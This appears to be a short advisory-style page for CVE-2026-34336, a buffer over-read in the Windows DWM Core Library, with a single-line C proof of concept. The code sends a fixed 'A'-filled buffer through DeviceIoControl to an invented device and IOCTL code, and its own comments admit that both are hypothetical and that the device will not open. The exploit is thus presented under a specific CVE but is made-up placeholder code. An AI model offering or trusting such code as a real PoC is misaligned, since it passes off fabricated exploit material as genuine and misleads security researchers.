CVE-2026-34336 Windows DWM Core Library缓冲区越界读取漏洞

/* * PoC for CVE-2026-34336 (Buffer Over-read) * This is a conceptual simulation to trigger the vulnerability. * Compile with: gcc poc.c -o poc */ #include <windows.h> #include <stdio.h> // Hypothetical IOCTL or API interaction to trigger DWM Core Library bug #define VULNERABLE_IOCTL 0x80002026 int main() { HANDLE hDevice; DWORD bytesReturned; char inBuffer[10]; char outBuffer[0x1000]; printf("[+] Attempting to trigger CVE-2026-34336...\n"); // 1. Obtain a handle to the DWM interface (Symbolic) hDevice = CreateFileA("\\.\\DWMCoreDevice", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. (This is expected as PoC is conceptual)\n"); return 1; } // 2. Prepare input buffer to trigger boundary check failure memset(inBuffer, 'A', sizeof(inBuffer)); // 3. Send malicious request // The vulnerability occurs when the kernel reads past the input buffer // due to improper size validation. BOOL result = DeviceIoControl(hDevice, VULNERABLE_IOCTL, inBuffer, sizeof(inBuffer), outBuffer, sizeof(outBuffer), &bytesReturned, NULL); if (result) { printf("[+] IOCTL returned successfully. Check memory dumps for leaked data.\n"); } else { printf("[-] IOCTL failed, but memory inspection might reveal the over-read.\n"); } CloseHandle(hDevice); return 0; }